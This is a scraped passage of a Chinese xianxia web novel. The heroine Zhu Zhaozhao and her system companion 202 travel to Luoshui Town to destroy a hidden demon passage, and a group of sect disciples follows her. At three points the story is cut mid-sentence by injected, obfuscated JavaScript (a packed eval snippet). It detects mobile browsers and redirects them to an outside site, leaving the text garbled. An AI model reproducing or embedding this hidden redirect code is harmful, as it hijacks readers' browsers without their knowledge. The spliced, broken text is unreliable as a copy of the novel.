掌筠了然:“错……嗯?” 掌筠震惊:“我知道错了??” “是的。”祝昭昭点头,“您知道错了,我并不是司主。” 掌筠轻嘶一声:“不能吧,殊音她明明……” “我只是拥有了司主令牌,必要时去帮个忙。”祝昭昭满脸严肃地强调。 这次轮到掌筠死鱼眼:“……” 嗔了祝昭昭一声,掌筠无奈:“有区别吗?” 区别可大了去了。 深谙职场生存之道的祝昭昭如是说。 “算了,有名没名的也是你和殊音的事,跟我没关系,你拿到信物就行。” 自言自语抱怨完,掌筠终于回归正题:“昭昭。” “你知道洛水镇吗?” 洛水镇? 指尖下意识微颤,祝昭昭没说话。 可眼尖如掌筠,又怎么会看不出来她的反常? 但他只是笑笑:“是殊音那帮娃娃说的,还是曾书那帮娃娃说的?” “我听贺师姐他们说的。”掌筠随口问,祝昭昭也就随口答。 谁说偷听不是听。 “哦,殊音的娃娃们啊。”掌筠一副‘我就知道’的表情,“他们那边知道这些消息是快。” “所以是你去偷器鸣金的时候听到的?” 祝昭昭:“……” 什么偷不偷的,说得那么难听。 “是拿。”她纠正。 执行任务的事,能叫偷吗? “好好好,是拿,是拿。”嘿嘿笑完,掌筠轻咳两声,“那最近宗里要组织一批人去那边历练,你知不知道?” 这事祝昭昭确实不知道;“没听贺师姐说。” “那我现在告诉你。”又喝口奶茶润喉,掌筠继续,“掌刑司正在选人,不日便要出发。” “带队的是行秋小子,曾书的另外两个娃娃和殊音的两个娃娃也会去。加上其他还在选的娃娃,一共大概会去九个人。” 多是年青一辈里战力靠前的人啊。 祝昭昭表示了解:“所以?” “所以。” 放下茶杯,掌筠收起吊儿郎当的笑意,脸上多了些郑重:“我需要你和他们一起,前往洛水镇。” 来得好。 哪怕掌筠的请求对此刻的祝昭昭来说,无异于最完美的助力,但要装一无所知,就要装到底。 于是她表达出了适当的疑惑:“为什么?我到剑宗的时间,甚至还不够一年。” “而且要派出五位亲传弟子的任务,怎么看都不是什么简单任务,我修为低微,过去要是添乱了怎么办。” “修为低微?添乱?”像是听见了有意思的事,掌筠两手托住下巴,朝祝昭昭笑得意味深长,“昭昭啊,你如今难道不是已经金丹后期了么?” 他眨眨眼:“刚来的时候才什么修为?筑基?” “你这速度想拖后腿,很难啊。” 祝昭昭听得额角冒汗。 当师父没见教点有用的,不该记的事记那么清楚。 她连忙打断还要再说的掌筠:“好了,我知道了,我答应你就是。” “那我需要准备什么东西?报名的话,是我自己去自荐,还是您替我去掌刑司说一声?” “不需要准备东西也不需要去掌刑司。”掌筠竖起一根手指摇啊摇,“你什么都不需要做。” 什么都不需要做? 祝昭昭略微沉吟,心里很快有了预估。 果然,掌筠话落后打了个响指。 下一秒,几样东西出现在桌子上。 看着桌上的物品,祝昭昭问:“这是……” “这是高阶防护法器。”掌筠笑眯眯地指着堆得像破布的白色法衣,“穿上还会掩盖灵力溢散与隐形,可好用了。” “还有这个。”他继续介绍,“这是我做的,可解化神以下强度的结界。” 化神以下…… 祝昭昭视线落在那桃子形状的小玩意上。 “最后是这个。”掌筠推推被他摆上桌子的最后一样东西。 东西发出向响动,祝昭昭于是循声落下目光。 那是一块漆黑不起眼,看不出材质的牌子。 另一边,掌筠兴奋的话音再度响起:“这可是重头戏哦!是超级超级厉害的东西!它的作用是——” “消解魔气。” 终于收起原本还有些散漫的神思,祝昭昭抿唇抬眸。 正对上掌筠含笑的目光。 “很有意思的三件宝贝,对吧?” 祝昭昭没有回答。 但不妨碍掌筠继续说话。 “昭昭。” 他笑眯眯地:“我要你用这三样法器……” “去毁了藏在洛水镇的魔族通道。” * 掌筠离开的时候,夜色已经来到最浓。 好不容易把赖在地上又打滚又嚷嚷,就为了把那瓶乳茶带着的掌筠弄走,祝昭昭身心俱疲地躺回床里。 盯着屋顶片刻,她扭头,视线落在桌上掌筠刚才给的几样东西上。 202就在此时,闪现在桌子旁。 它绕着桌子飞来飞去,期间眼睛一直没离开过那颗桃子模样的法器,显然对那法器非常感兴趣。 没忍多久就飞到桃子法器附近,202扭扭捏捏:“哇主人,你看这个小果子好可爱哦,我能不能……” “三。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280543|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情地盯着202,祝昭昭竖起手指:“二。” 没念完,因为下一秒202直接闪现在她身边。 它一脸谄媚笑:“哎呀主人,我刚才就是跟你开个玩笑,你别当真哈。” 懒得和它计较,祝昭昭敲敲它的显示屏,像是发现什么新大陆:“你们维护系统现在能显示这么复杂的表情了?” “那当然。”202非常得意,“主人你不知道,可贵了。” “要20高级积分呢!” 听完又敲敲202显示屏当做回应,祝昭昭重看向屋顶。 显示屏很快一闪,202切回待机表情:“主人,你干嘛生无可恋的样子。” “你那个师父主动让你跟着大反派去做任务,难道不是省了你好多事吗?理由都不用找了。” 见祝昭昭没有搭理它的意思,202转转球身,又换上一副嫌弃的表情:“不过你这师父也真是的,让人干活还要偷偷摸摸的。” “哪怕给了法器帮助主人你,这种行为也是不可取的。” 202做出最后总结:“主人你要找机会说说他。” 还说说他。 一言难尽地斜了眼202,祝昭昭随手挥开飞近自己的灵虫:“他倒是想光明正大把我塞队伍里,只可惜他做不到。” “也不是做不到。”想了想,祝昭昭纠正,“不过这么做会让事情变得很麻烦。” “有什么可麻烦的?”202指指点点,“他堂堂宗主,塞人不就说句话的事,还用得上麻烦两个字。” “主人你脑子是不是短路了?” ‘嘶’一声扬起巴掌作势要打,祝昭昭最后选择翻了个身:“我问你,上周目剧情在洛水镇这节是怎么发展的。” 劫后余生的202麻利调出剧情节选:“男女主和其他人一起组团去洛水镇调查异象,最后差点全军覆没。” “受罚结束的大反派被紧急派过去支援,保护了他们,但自己最后也被里面的魔族通道吸走,落入魔族的地盘。” 祝昭昭‘嗯’了句:“魔族通道最后的结局。” 202看屏幕:“被赶去的掌筠毁掉了。” “掌筠为什么过去的。” “大反派被吸走前报信。” “剧情里掌筠赶过去的速度?” “刚接报信就到了。” 打了个滚趴在床上,祝昭昭托腮看着202:“那么以你平时执行任务的经验来看,什么情况下才会是这个反应速度?” 202突然安静下来。 许久,它才出声:“早就知道,只等出发理由的时候。” 祝昭昭唇角微弯:“所以?” 所以,掌筠早就知道洛水镇藏着魔族通道的事。 “那他为什么不早点去毁了那个通道?” 202表示不解:“再不济,男女主出发的时候安排人一起去也行啊。至于等到大反派都被带走了才赶过去吗?” “巧妇难为无米之炊。”祝昭昭点点202,“上周目掌筠直到剧情结束都没有收徒。既然没有徒弟,他能派谁跟着男女主?” 一只手托着累,祝昭昭干脆两只手都用来托腮:“剑宗内部并不太平,从慕行秋被审三天就能看出来。” “在这种情况下,掌筠如果妄动,很容易打草惊蛇。所以他不会,也不敢把毁灭通道的事,随意交给其他人。” “那就只能自己去做。” 窗外有风把树吹得沙沙作响,从202的显示屏上切换出时间看了眼,祝昭昭准备关门休息:“又要理由充分,又要自己动手,那就只能等,等到他能名正言顺出手的时刻到来。” “所以这一等就等到大反派被吸进通道的时候了啊。” 202感慨着,语气里多了些怜悯:“但凡大反派不是后面赶过去的,事情都不会发展到那个地步。可如果他和男女主一起去了,让掌筠动手的理由可能又没了。” “怎么受伤的老是他。” “不知道。”祝昭昭言简意赅。 自言自语完,202突然意识到什么:“照主人你这么分析的话,这周目如果不是因为你来了剑宗又拜入掌筠门下,这事很可能会重蹈覆辙吧?” 起身朝房门方向走,祝昭昭不置可否:“其实从某种程度来说,只要我人在剑宗,就足够掌筠做很多事。” “只是当他弟子会更方便。” 路过桌旁时瞄见桌上乳茶,祝昭昭想起掌筠的评价,停在桌旁,拿起瓶子倒了最后一杯。 倚在门边细细抿了口乳茶,她‘唔’一声把杯子拿到眼前。 掌筠说得没错,这乳茶味道确实和酒楼的不一样,喝起来凉凉的。 像是加了薄荷味的糖。 所以是酒楼最近新出的口味? 耸耸肩,祝昭昭一口把乳茶喝完后关上门。 61. 走路下山?是郊游吗? 出发时间定在七日后。 祝昭昭本来想正大光明从剑宗门口下山,怎奈何掌筠以‘一切行动都必须低调’为由非要让她听自己安排,为此甚至不惜抛下脸皮来大吵大闹撒泼打滚。 看着已经滚到在地上侧着转圈的熊孩子,祝昭昭气得直想掐人中。 当然,不是掐自己的,而是掐地上快转成陀螺的熊孩子的。 不过生气归生气,但祝昭昭转念一想,掌筠再不靠谱,这种他觉得重要的事上,应该总会有合理安排。 所以她最后还是答应了。 这就导致出发当日,掌筠直接送了她个大惊喜—— “您说什么,您再说一遍?” 今天的盛云峰风很大,吹得祝昭昭碎发乱舞。 也因此衬得此刻她脸上不可置信的表情,看起来极具节目效果:“您让我从这里,走路下山??” 话落犹不敢信,祝昭昭甚至再次伸手指指路口:“您确定?” 顺着祝昭昭手指的方向看着就在两人身旁的路口,掌筠一脸理所当然:“确定啊。” “这里是盛云峰背面,又是地形复杂的树林最边缘,而且这个路口还是剑宗唯一一个没有被宗门结界和其他长老灵力覆盖的地方。” “从这里下山,难道不是最安全的吗?” 顿了顿,掌筠用他充满智慧的大脑思考后补充:“哦,如果昭昭你是担心路不好走的话那尽管放心,我经常从这里偷跑下山,早就踏出一条小路了。” 他最后甚至用气声悄悄叮嘱祝昭昭:“你千万不能告诉别人哦。” 盯着掌筠那写满了‘这真的很重要,一般人我不告诉他’的认真表情的脸,祝昭昭只感觉自己脑瓜子嗡嗡的。 别说是你掌筠经常从这里偷跑下山,就算是宗门大比的时候你缺席,当着她祝昭昭的面跑下山,那也是随便,跟她没半毛钱关系。 她在意的,根本就不是这事! 深呼吸,祝昭昭重复:“您,” “确定,” “要我从这里走路——” ‘走路’一词咬字格外咬牙切齿,她死死盯着掌筠:“下山吗?” 哆哆嗦嗦移开视线,掌筠试图解释:“可是不走路的话,在天上不管驭剑还是用法器,都很容易被护宗结界捕捉到的。” 祝昭昭立刻:“那我用高级隐匿法器,我有。” “护宗结界里光有隐匿法器也没用,要配合修为的。”掌筠眨眨眼,“你修为不够。” 本来想说自己还可以靠眼睛,然而考虑后觉得有点大材小用,于是祝昭昭只能作罢:“那您的灵力覆盖,到底能到什么范围?” 闻言眉头一挑,掌筠有些意外:“你竟然知道?” 说完就叉起腰:“你都知道还为难我,大量消耗灵力很累的好不好。” “那也不能让我走路啊!”祝昭昭震声,“从这走到山下,最快的脚程都要一天一夜。” “所以您的灵力覆盖范围到底是多大?” 掌筠气呼呼的:“沿路最多最多两人半高。” 话音落下,师徒俩大眼瞪小眼。 最后,祝昭昭认输。 深叹口气,她狠狠捏了把眉心:“我知道了。” * 身后掌筠的欢送声渐渐模糊不清,风卷起残叶吹过祝昭昭颊边,她目不斜视地盯着前路。 202出现在她身旁:“主人,你还好吗?” 回头看着来时的方向,它略带疑问:“我怎么感觉你那个师父的声音听起来有点幸灾乐祸的啊?” “不用感觉。”祝昭昭面无表情,“他就是在幸灾乐祸。” “啊?” 202小声比比:“那他太坏了。” 看得出祝昭昭现在很不爽,202不敢触她霉头又觉得无聊。于是想了想,它决定先哄祝昭昭开心。 628和它交流任务心得的时候说过,要哄人,就要抓住对方的痛点才能达到最佳效果,否则就是白费功夫。 而祝昭昭现在的痛点,再明显不过。 很快打定主意,胸有成竹的202朝祝昭昭更靠了靠近:“主人主人。” 祝昭昭踏碎脚下树枝:“说。” 被她周身的低气压吓得一个激灵,暗暗给自己鼓劲完,202假装气愤:“哎呀,主人你那个师父真是不懂替别人考虑。走山路多累啊,还要走一天一夜。” “一会儿主人你累坏了,还怎么完成任务?” 它摇摇头:“他真是太不懂事了,不像我,早就替主人你考虑好了。” “只要我出手,保证让主人你舒舒服服下山!” 听到这,祝昭昭终于有所反应。 斜眼向202方向,她声音像冷得冰:“有办法就给我说。” 闻言哪还敢怠慢,202立刻:“主人您瞧好了!” “噔噔!” 随着话音落下,祝昭昭眼前白光闪过,紧接着出现一辆—— “电动车?” 脸上表情一瞬空白,许久,祝昭昭才找回自己不可置信的声音:“你嘴里替我考虑好的,保证我舒舒服服下山的方法,” “就是给我搞来辆电动车??” 还是辆带猫咪贴画的痛车。 看着祝昭昭这会儿比刚才听到掌筠让她走路下山时,更加具备节目效果的表情,202顿感大事不妙。 它立马找补:“自行车,那我们可以换成自行车!!” 祝昭昭闭眼深吸气。 202感觉已经看见回收站向自己招手:“我明白了我明白了,主人你是担心骑车的时候被人看到对不对。” “我可以把车子隐形,这样如果有人,就只能看到主人你了!” 祝昭昭额角青筋当时就暴了起来。 看到我什么? 看到我腾空摆骑车姿势在路上飞是吗? 脑子里最后一根弦在此刻彻底崩断,祝昭昭一言不发地把202薅到自己跟前。 她死鱼眼盯着202:“你,想替我解决烦恼。” 已经想象出自己在回收站什么惨样的202:“对……对呀主人。” “那好。” 薅住202的手骤然暴起青筋,祝昭昭微笑:“我现在,想到了更好的办法。” “只是需要202你小小地配合一下。” “可不可以?” 只觉得这会儿的祝昭昭已经跟恶鬼没区别,202都快吓哭了:“当,当然主人,202都听你的。” “很好。” 见202还算上道,祝昭昭的微笑里总算多了一点点真心:“让我踩。” 202:“啊?” “啊什么?”用人总得朝前,祝昭昭不耐烦地和202解释,“扫地机器人见过没,就变那样然后隐身,让我踩着你下山。” “你不是法器,高度也不会超标。”祝昭昭显然已经打算好了,“跑起来又快得很,大大缩短赶路进程。” 所以是让它来当这个交通工具吗? 终于听懂的202开始结巴:“主人……这不……” 对上祝昭昭看垃圾的眼神,202当场就屈服了:“主人的事就是我的事,为主人排忧解难,我义不容辞!” 随着‘砰’声响起,202完美变身成为一台带滚轮的圆盘,踏脚处的‘欢迎光临’四个大字还在闪红光。 眼尾不受控地抽搐了一下,祝昭昭踩上去—— 脚底当即传来咿咿呀呀的儿歌。 “202,立刻让这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280544|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个消失。” 她感觉自己离爆发只有一线之隔。 “为什么?”202听得很开心,“多好听呀,路上听歌就不无聊了嘛。” 祝昭昭选择直接报数:“三,二——” ‘一’字出现前,儿歌消失了。 世界恢复了宁静。 脚下202开始滚动,迎面而来的轻风里,祝昭昭终于露出笑模样。 “出发咯。” * 202速度非常快,原计划一天一夜的路程被缩短至半天。 到达山脚时已是落日西沉,从202身上下来,祝昭昭狠狠伸了个懒腰。 并不忘夸夸202:“202,不错。” 刚恢复成球形,还偷偷在角落哭唧唧的202立马摆出一副‘这没什么’的傲娇表情:“那当然,不看看我是谁。” “我可是总部公认的优秀员工!” 给优秀员工打了一百积分以示鼓励,不再管身后已经乐到开始打视频向628炫耀的202,祝昭昭低头看了眼身上。 临出发前就换好的粗布麻衣还算整齐,鬓发虽然被风吹得有些散乱,但刚好可以重新束成更简单低调的款式。 再次确认已经易容以后,祝昭昭从空间袋抽出一根玉笛。 美滋滋挂了视频的202转头就注意到她的操作:“主人,你要干嘛?” “继续赶路。”玉笛在灵力操纵下放大,祝昭昭坐上去。 “你不先在附近客栈休息一晚吗?” “不。”祝昭昭调整坐姿,“按照我前两天去掌刑司听到的消息,慕行秋他们会在三天后出发。” “我要赶在他们过去前到,先看看那边是什么情况。” “好吧。” 在祝昭昭的示意下飞到她身旁,刚得了便宜的202很积极地问:“那还有什么地方我能帮上主人你的吗?” 摆摆手,祝昭昭操控座下玉笛升空:“放心,需要用到你的时候,我不会和你客气。” 话落下的瞬间,玉笛消失在原地,只剩一道灵力在空中划出长而浅的光弧。 * 按照掌筠给的地图前进,在玉笛上躺了一天一夜的祝昭昭终于在地面看见洛水镇的地标。 眨眨眼打起精神,她降下玉笛。 顺便叫出202:“在干什么呢,准备一下,我们到洛水镇了。” 202很快闪现在祝昭昭身旁:“来了来了。” 盯着它满脸的纸条,祝昭昭很是默了默。 然后问它:“刚才在和628还有雨露斗地主?” 202很惊讶:“主人你怎么知道?” 废话,能不知道么。 你都快被人家贴成告示栏了。 无奈叹了口气,祝昭昭随手拨了拨它脸上的彩色纸条:“你说呢。” ‘诶呦’一声,202连忙伸出机械手去扒脸上纸条。 祝昭昭便趁着空闲开始看手上地图。 她先是走到洛水镇入口。 按照原剧情描写,洛水镇虽然地方不大,但人口却不少,是个难得没有宗门保护也发展得不错的小镇。 如今她眼前熙来攘往的人群也证明了这点。 可站在原地盯了会儿不远处的牌坊,祝昭昭却突然皱起眉头。 跟在她身后的202很快就察觉到了她的变化:“主人,怎么了?” 低头去看手里地图,祝昭昭不答反问:“202,告诉我这里的方位。” “这里的方位……”202调出地形分析,“是西南方。” “所以到底怎么了啊主人?” “没怎么。”祝昭昭收起地图,“只是地图上记录的洛水镇入口,” “在正东而已。” 62. 方位不对? “正东正南的我不知道,不过主人。” 202顺着祝昭昭的视线看了眼牌坊:“牌坊上那么大的‘洛水镇’三个字,总不会出错吧?” “不是这还能是哪?” 当然知道202说得没错,目光从走过自己身旁的一对夫妇身上收回,祝昭昭沉吟:“但这里的方位确实和地图上写的不一样。” 闻言立刻‘嘁’了一声,202表示不屑:“肯定是主人你那个师父给的地图有问题。” “而且甭管是不是的,就算不是,跟着镇民走难道会有错吗?” 它理直气壮:“干嘛非要按地图上的来?” 祝昭昭没搭理它。 因为按常理,地图如果和真实情况有出入,那么因地制宜其实很正常。 但重点在于这地方有魔族通道。 谁能保证地图和镇子对不上,有没有可能是魔族的人在搞鬼。 还不如老实信地图的安全点。 祝昭昭:我信你个鬼·jpg 这边祝昭昭脑内吐槽,那边202信誓旦旦:“如果主人你担心,那我以我的系统格做担保,大门绝对就是这里。” “绝不可能在其他地方!” 自信地发表完位置暴论,202准备看祝昭昭的反应—— 这才发现她不知何时已经按照手上地图规划好路线重新出发。 望着祝昭昭越走越远的身影,202顿时急得哇哇叫:“主人!主人!” “你等等我呀!” * 牌坊之外,洛水镇环山而建,并不与其他小镇或村庄相连;茂密的林木和偶尔会见到的溪流,便是镇外仅有的色彩。 在一片树林的其中一个路口处停下脚步,祝昭昭盯着面前的羊肠小道。 小道非常荒凉,也许是因为极少有人来去的原因,道边上长得过于繁茂的杂草和野花占据了大部分的路。 因此乍眼一看,整条小道棕绿相间,很容易被人忽略。 202显然也没注意到:“主人,你停在这干嘛?” “不是要找进洛水镇的入口吗?” 朝前方微抬下巴,祝昭昭淡声反问:“这不就是?” 先是呆了呆,202很快哈哈笑起来:“主人你在说什么啊,这,这,” 它飞到路上小道上转来转去:“这种荒凉的都可以拍鬼片的地方,会是一个镇子的入口??” 看着飞舞得跟苍蝇没两样的202,祝昭昭烦得想翻白眼:“是不是你自己不会打开地图确认一下?” 听话地从系统调出地图,202盯了一会儿后沉默下去。 视线在地图和小道间来回切换,它急忙飞到祝昭昭身边,不可置信地嚷嚷:“竟然是真的,地图显示这地方居然真的是正东,是洛水镇入口。” “那刚才的牌坊是怎么回事?” 202慌得一批:“好端端立着牌坊的地方不是入口,反而这个荒野地才是。洛水镇的人是有什么特殊爱好吗??” “不管怎么想都觉得很奇怪啊??” 祝昭昭没有接话。 因为她同样觉得有问题。 正如202所说,按道理一个镇不可能在不是入口的地方花大价钱立牌坊。 如果真是因为有问题才荒废掉这个入口,那么附近必定会有类似封印的东西,再不济,也应该会立着禁止走动的标识。 而不是像现在这样什么提示都没有。 所以究竟是怎么回事? 但祝昭昭没有在这个问题上纠结太久。 毕竟能藏着魔族通道的地方,本身就不会正常到哪去。而任务在身,哪怕前面是刀山火海,她也必须要会上一会。 再者,比这更恶劣的情况她又不是没在其他位面碰见过,何况是眼前这点问题。 做好准备,闯了再说。 打定主意,祝昭昭敲敲202脑袋:“别想那么多了,走吧。” “到底有什么问题,进去看看就知道。” 没给202劝说的机会,祝昭昭拍拍身上浮土,大步踏上小道。 树林里的泥地要比大路上的燥土湿润厚实,感受到脚下传来的,湿土被微微踏实的感觉,祝昭昭刚想说些什么。 下一秒,一阵微风极突兀地朝她迎面吹来。 细微的凉意里,祝昭昭先是怔仲。 紧接着,她脸上多了些意味深长的笑容。 “这就对了。” 这才是,你原本该有的样子。 * 三日后,剑宗—— 由殊音提供的灵舟上,慕行秋一行人分散着站在各处。 “师兄。” 白月书走到慕行秋身旁,展开手上地图:“按照地图上所描写的路径,我们稍后需要在此处向左拐弯。” 她说完,食指落在地图上其中一处。 顺着白月书手指的方向望去,慕行秋微一颔首:“如此,那就按师妹你说的方向前进。” 这本来是很普通的一段对话。 然而慕行秋话音刚落,不远处便传来一声冷嗤。 像是故意要让灵舟上的所有人听到,这嗤声很大,大到所有人的视线,都瞬间聚集在声音来源。 发话的是一个青年。 和统一穿着剑宗白袍的其他人不同,青年身上宝蓝衣袍显眼,其上绣着的金线鹤纹更是在日头下闪着耀眼的光。 所有目光都聚集在自己身上这事似乎正合他意,青年冷笑一声,毫不掩饰自己的不屑:“身为领队却没有自己的判断,反而随意听从其他人意见。刘统,你见过这样的领队吗?” 青年身旁,被叫做刘统的人很快配合接话:“就是,哪有领队听旁人意见的道理。” 装出一副惋惜模样,青年摇头:“若是连这点决断力都没有,” “那这领队,不如换人来当。” 看似好言好语,实则阴阳怪气。青年说完,灵舟上本来无比和谐的气氛顿时降至冰点。 云珈反应最快。 本来就是有什么说什么的脾气,她当即皱起眉:“你这么厉害,怎么没被二长老选中当领队?” “一开始就定好的事,你早不和二长老提意见,现在和旁边那个叫刘统的一唱一和给谁看?” “你!” 青年恶狠狠瞪向云珈。 想他上官修堂堂三长老亲传三弟子,在宗内不说处处高人一等,至少多数人遇上他的时候,都会给他几分薄面。 但眼前这个臭丫头竟然……! 终于反应过来的上官修顿时气急败坏:“亲传弟子说话,你一个小小内门插什么嘴?” “这里有你说话的份吗?!” 本来就不爽的云珈更不高兴了:“你以为你算什么东——” 剩下的话没再脱口,因为贺稚雪走到她身旁拦住了她。 陈青也停在两人身前。 折扇在手中轻敲,他言笑晏晏:“云师妹年岁尚小,上官兄何必与她过多计较。” 闻言上下打量陈青,上官修冷哼一声驱散手中灵力:“陈青,平日宗内有点什么事要做的时候,跑得最快的就是你。” “在这里倒充起英雄来了?” 被一顿贬损也不恼,陈青依旧笑眯眯地:“事分轻重缓急,且宗内能人数不胜数,没有我,事情同样办得成。” “倒是现在。”他微微侧头向身后,“若任由事态发展,导致灵舟未到洛水,众人已生间隙……” “岂非不美?” 根本不接陈青话茬,上官修言语间满是不耐:“少来这装模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如梦初醒的秦之衡立刻:“没怎么,月书。没怎么……” 白月书于是收回目光。 转身向慕行秋。她重新捡起刚才没说完的话:“向左拐弯之后便是直行,但直行的数十里路上山雾浓重,” “我们须得打起精神小心前进……” 垂眸注视着白月书手上那张略有泛黄的地图,她平静而淡漠的话音在耳中听得分明,慕行秋的神思却有些不受控制地飘远。 他当然看见了云珈等人刚才的反应。 也当然知道他们为什么一脸意外又震惊。 很有意思的表情,也是曾经不可能出现在他们脸上的表情。 所有的变化都因一个人而起。 那个人…… 脑海里不由自主浮现出她朝自己坏笑的脸,慕行秋怔。 他明明应该厌恶这个拿他取乐的人。 明明所有胆敢讥讽坑害他的人,都必须付出代价。 可很奇怪,他无法对她生出哪怕半点惩罚的心思。 不仅如此,他反而能理解云珈等人为什么被她影响和感染。 又或者,被影响和感染的…… 其实不只他们? “慕师兄你的意见是?” 白月书含着不解的话音在耳边响起,慕行秋飘远的神思被拉回。 嘴角弯起惯常的弧度,他语调温和:“师妹判之断有理有据,当然可做参考。” “便按你说的来。” 63. “我们迷失了方向!” 灵舟神速,加上争执之后的上官修安分了许多,行进决策也就没了分歧。在白月书的引路下,灵舟很快进入洛水镇附近范围。 收回探出灵舟的半边身子,贺稚雪率先开口:“洛水镇的牌坊就在下面,慕师兄,我们现在下去可以吗?” 问话只是习惯,所有人都已经做好降下灵舟的准备。 然而出乎意料的,慕行秋却没有回答。 任由灵舟悬停在上空,他望着头顶正烈的日头。 许久,直到舟上气氛开始变化,上官修面露不耐,作势要质问他时,慕行秋终于动了。 他先问秦之衡:“之衡,如今我们所在方位是。” 被点到名的秦之衡飞快分辨了一下:“回师兄,是正北方。” “如此。”他微微颔首。 紧接着他再问白月书:“那么月书,地图上记载的洛水镇入口具体所在方位是。” 不等白月书开口,听到这的上官修终于彻底失去耐心:“我说慕行秋,从刚才贺稚雪问你能不能降舟到现在已经多久了,你非但不搭理她,还在那问那么多没头没尾的问题。” “你究竟想干什——” “正东。”白月书眼皮都不抬,照着手中地图的记载平铺直叙道,“地图上记载的洛水镇入口,在正东。” 上官修登时收声,空气一瞬静得落针可闻。 “怎么会?” 不信邪地扒着灵舟边朝外面探出头,云珈满脸不解:“所以大师兄和月书师姐的意思是,立牌坊的地方其实不是洛水镇入口吗?” 贺稚雪走到白月书身旁:“目前来看,是这意思没错。” 云珈‘啊’了声:“立牌坊的地方不是镇子入口,还有这种事?” 朝云珈摇摇头表示自己也不知道,贺稚雪目光落在白月书手里地图:“那大师兄,我们下一步该怎么做?” “是先下去看看还是……” 指间的掐算刚好定格,慕行秋收回手:“不必。” “我已确定好正确方位。” 话音落下的同时挥袖,悬停的灵舟很快重新启动,在他的操纵下闪现在洛水镇真正的入口。 且因为闪现的冲击力过大,停下的瞬间整座灵舟都被惯性朝前带。而好巧不巧地,上官修当时刚好在走动—— 低垂的眉眼注视着从舟尾箭似地滚到自己脚边的上官修,慕行秋轻轻挪开几乎快贴在他鼻子上的脚尖,笑得一脸温和:“灵舟急停,冲击确实过大。但情况紧急,我亦无法顾得全局。” “上官师弟可还好?” 眼前地转天旋,让其中慕行秋微笑的脸显得更加无比扎眼又可恨。推开匆匆跑来的刘统想扶自己的手,上官修恶狠狠瞪着慕行秋,一字一句都从牙缝里挤出来:“没事。” “只要顺利找到入口就好。” 慕行秋笑意更深:“上官师弟大义。” 随着上官修被刘统搀扶着站起,小插曲结束,众人终于将全部的注意力放在眼前的洛水镇入口。 继而很快发现不对。 憋了一肚子火没处发的上官修最先发难:“这地方确定有入口?” 他无比嫌弃地看着鞋底的湿泥:“整片都是树林,这地方根本连条像样的道都看不出。” “可不是我瞧不上乡间土路。” 没人搭理他,贺稚雪斟酌语气:“此地林植茂密,看起来的确不像常有人走动。” “也许此地只是名义上的入口。”秦之衡环顾四周,“毕竟洛水镇算是大镇,大镇只有一个入口,并不符合常理。” “之衡说得有道理。”陈青轻摇手中折扇,“而且我听说有些镇子会在条件允许时,特地请风水先生为小镇测算风水。若是算出原本的布置不合适,便会按照风水先生的指示更换布置。” “洛水镇很可能就是这种情况。” 陈青的说法还算合理,因此没人反对他。 但看着地图,白月书又很快发现不对:“可就算有新的入口,却不代表所有人就只会走新入口。总会有习惯了,或者觉得旧入口更方便的人会继续走动。” “但我们站在这有段时间了,你们见到镇民来往了么?” 空气顿时安静下来。 白月书说得是对的,只要有路,哪怕再偏远,不管人多人少,总会有人走。 更何况这地方并不偏僻。 如果没看错,此地离牌坊处至多几里地。 几里地算哪门子偏僻? 回过味来的众人开始意识到不对。 眼看怪异的气氛即将弥漫起来,慕行秋开口。 脚步在树林前停下,他目光落在杂草野花交织间的地面:“这条路有人走过。” 慕行秋说完,所有人循着他声音望去。 并不与其他人对上视线,他弯腰,骨节分明的手轻轻抚上离自己最近的一丛杂草:“虽痕迹不鲜明,但一路花草皆往里侧,显然是有人直接走了进去。” “土是湿土,却无脚印,说明走路之人应该并不健壮;而花草变动痕迹单一,则代表在此地走动之人并未返回,” “而是一路走了进去。” 听到这的白月书立刻明白过来:“若是由此反推,便可证明此地确实可以进入镇中。” 直起身,慕行秋望着众人:“总之,先进去看看罢。” 由慕行秋起头,众人跟在他身后走进树林。 树林茂密,遍布各种众人叫得上名或叫不上名的植物。脚下小路两旁的野花小草同样郁郁葱葱,也因此让前人踩踏过的痕迹更明显。 示意云珈跟好自己,贺稚雪目光落在脚边蔫巴的野草上:“这些被踩过的花草看着都很干枯,应该是被踩有段时间了。” “但这些痕迹不像是被重复踩踏。”贺稚雪身后的陈青接过她话茬,“若是多人走动,所留痕迹必然杂乱。也就是说……” 也就是说,直到他们一行人来之前,只有一个人在这条路上走过。 一个人? 那么长时间只有一个人走过? 几乎是众人意识到这点的瞬间,一阵微风悄然而至。 草木摇曳着响起沙沙声的刹那,薄雾也毫无征兆地自远处,以极快的速度朝众人所在之处蔓延开来。 “衣物或手皆可,所有人牵住身旁最近的人,站在原地不要动。” 变故之下,慕行秋反应最快。 明白此刻情况紧急,慕行秋话落,众人立刻聚集起来。 除了被陈青扯住衣袖的上官修表情不太好看。 